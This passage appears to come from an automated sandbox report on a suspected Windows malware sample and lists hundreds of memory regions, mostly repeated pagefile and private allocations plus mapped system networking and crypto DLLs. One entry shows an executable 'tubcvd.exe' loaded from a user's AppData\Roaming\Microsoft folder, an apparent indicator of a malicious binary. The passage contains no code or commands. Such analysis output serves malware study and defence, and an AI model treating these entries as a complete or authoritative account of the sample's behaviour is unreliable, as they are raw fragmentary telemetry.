pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5760 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5761 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5762 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5763 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5764 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5765 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5766 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5767 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5768 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5769 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5770 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5771 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5772 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5773 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5774 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5775 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5776 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5777 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5778 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5779 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5780 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5781 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5782 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5783 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5784 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5785 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5786 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5787 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5788 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5789 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5790 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5791 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 5792 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 5793 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 5794 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 5795 start_va = 0x350000 end_va = 0x350fff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 5796 start_va = 0x741e0000 end_va = 0x741f8fff entry_point = 0x741e0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 5797 start_va = 0x741d0000 end_va = 0x741d7fff entry_point = 0x741d0000 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\SysWOW64\\dpapi.dll" (normalized: "c:\\windows\\syswow64\\dpapi.dll") Region: id = 5798 start_va = 0x360000 end_va = 0x369fff entry_point = 0x360000 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\crypt32.dll.mui") Region: id = 5799 start_va = 0x370000 end_va = 0x370fff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 5800 start_va = 0x380000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 5801 start_va = 0x380000 end_va = 0x391fff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 5802 start_va = 0x3a0000 end_va = 0x3a4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 5803 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5804 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5805 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5806 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5807 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5808 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5809 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5810 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5811 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5812 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5813 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5814 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5815 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5816 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5817 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5818 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5819 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5820 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5821 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5822 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5823 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5824 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5825 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5826 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5827 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5828 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5829 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5830 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5831 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5832 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5833 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5834 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5835 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5836 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5837 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5838 start_va = 0x72670000 end_va = 0x72930fff entry_point = 0x72670000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 5839 start_va = 0x370000 end_va = 0x370fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 5840 start_va = 0x77240000 end_va = 0x772d1fff entry_point = 0x77240000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 5841 start_va = 0x2400000 end_va = 0x24e8fff entry_point = 0x2400000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 5842 start_va = 0x380000 end_va = 0x380fff entry_point = 0x380000 region_type = mapped_file name = "counters.dat" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 5843 start_va = 0x75500000 end_va = 0x7555bfff entry_point = 0x75500000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 5844 start_va = 0x74f40000 end_va = 0x74f46fff entry_point = 0x74f40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 5845 start_va = 0x741b0000 end_va = 0x741c0fff entry_point = 0x741b0000 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll") Region: id = 5846 start_va = 0x74180000 end_va = 0x741affff entry_point = 0x74180000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 5847 start_va = 0x74170000 end_va = 0x74177fff entry_point = 0x74170000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 5848 start_va = 0x740c0000 end_va = 0x74166fff entry_point = 0x740c0000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 5849 start_va = 0x390000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 5850 start_va = 0x3d0000 end_va = 0x3d2fff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 5851 start_va = 0x2400000 end_va = 0x24fffff entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 5852 start_va = 0x7ffd5000 end_va = 0x7ffd7fff entry_point = 0x0 region_type = private name = "private_0x000000007ffd5000" filename = "" Region: id = 5853 start_va = 0x3e0000 end_va = 0x3e2fff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 5854 start_va = 0x74070000 end_va = 0x740bdfff entry_point = 0x74070000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 5855 start_va = 0x530000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 5856 start_va = 0x2500000 end_va = 0x25fffff entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 5857 start_va = 0x73e50000 end_va = 0x73ed3fff entry_point = 0x73e50000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 5858 start_va = 0x7fead000 end_va = 0x7feaffff entry_point = 0x0 region_type = private name = "private_0x000000007fead000" filename = "" Region: id = 5859 start_va = 0x72510000 end_va = 0x7266ffff entry_point = 0x72510000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 5860 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 5861 start_va = 0x800000 end_va = 0x83ffff entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 5862 start_va = 0x2600000 end_va = 0x26fffff entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 5863 start_va = 0x74020000 end_va = 0x74065fff entry_point = 0x74020000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 5864 start_va = 0x7feaa000 end_va = 0x7feacfff entry_point = 0x0 region_type = private name = "private_0x000000007feaa000" filename = "" Region: id = 5865 start_va = 0x74010000 end_va = 0x74017fff entry_point = 0x74010000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 5866 start_va = 0x840000 end_va = 0x841fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 5867 start_va = 0x72300000 end_va = 0x72508fff entry_point = 0x72300000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll") Region: id = 5868 start_va = 0x850000 end_va = 0x853fff entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 5869 start_va = 0x860000 end_va = 0x862fff entry_point = 0x860000 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mswsock.dll.mui") Region: id = 5870 start_va = 0x880000 end_va = 0x881fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 5871 start_va = 0x890000 end_va = 0x89ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 5872 start_va = 0x3d0000 end_va = 0x3e7fff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 5873 start_va = 0x8a0000 end_va = 0x8a0fff entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 5874 start_va = 0x8b0000 end_va = 0x8b0fff entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 5875 start_va = 0x8b0000 end_va = 0x8b8fff entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 5876 start_va = 0x8c0000 end_va = 0x8c1fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 5877 start_va = 0x2700000 end_va = 0x2700fff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 5878 start_va = 0x2710000 end_va = 0x2710fff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 5984 start_va = 0x2710000 end_va = 0x2713fff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 5985 start_va = 0x2720000 end_va = 0x2722fff entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 5986 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 5987 start_va = 0x2740000 end_va = 0x2760fff entry_point = 0x2740000 region_type = mapped_file name = "tubcvd.exe" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe") Region: id = 5988 start_va = 0x2730000 end_va = 0x2732fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 5989 start_va = 0x2730000 end_va = 0x2731fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 5990 start_va = 0x2740000 end_va = 0x2740fff entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 5991 start_va = 0x2750000 end_va = 0x2751fff entry_point = 0x0 region_type = private name = "private_0x0000000002750000" filename = "" Region: id = 5992 start_va = 0x2740000 end_va = 0x2740fff entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 5993 start_va = 0x3d0000 end_va = 0x3d0fff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 5994 start_va = 0x3e0000 end_va = 0x3e0fff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 5995 start_va = 0x8a0000 end_va = 0x8a0fff entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 5996 start_va = 0x2700000 end_va = 0x273ffff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 5997 start_va = 0x2760000 end_va = 0x285ffff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 5998 start_va = 0x7fea7000 end_va = 0x7fea9fff entry_point = 0x0 region_type = private name = "private_0x000000007fea7000" filename = "" Region: id = 5999 start_va = 0x8b0000 end_va = 0x8b9fff entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 6000 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6001 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6002 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6003 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6004 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6005 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6006 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6007 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6008 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6009 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6010 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6011 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6012 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6013 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6014 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6015 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6016 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6017 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6018 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6019 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6020 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6021 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6022 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6023 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6024 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6025 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6026 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6027 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6028 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6029 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6030 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6031 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6032 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6033 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6034 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6035 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6036 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6037 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6038 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6039 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6040 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6041 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6042 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6043 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6044 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6045 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6046 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6047 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6048 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6049 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6050 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6051 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6052 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6053 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6054 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6055 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6056 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6057 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6058 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6059 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6060 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 6061 start_va = 0x8c0000 end_va = 0x8c0fff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 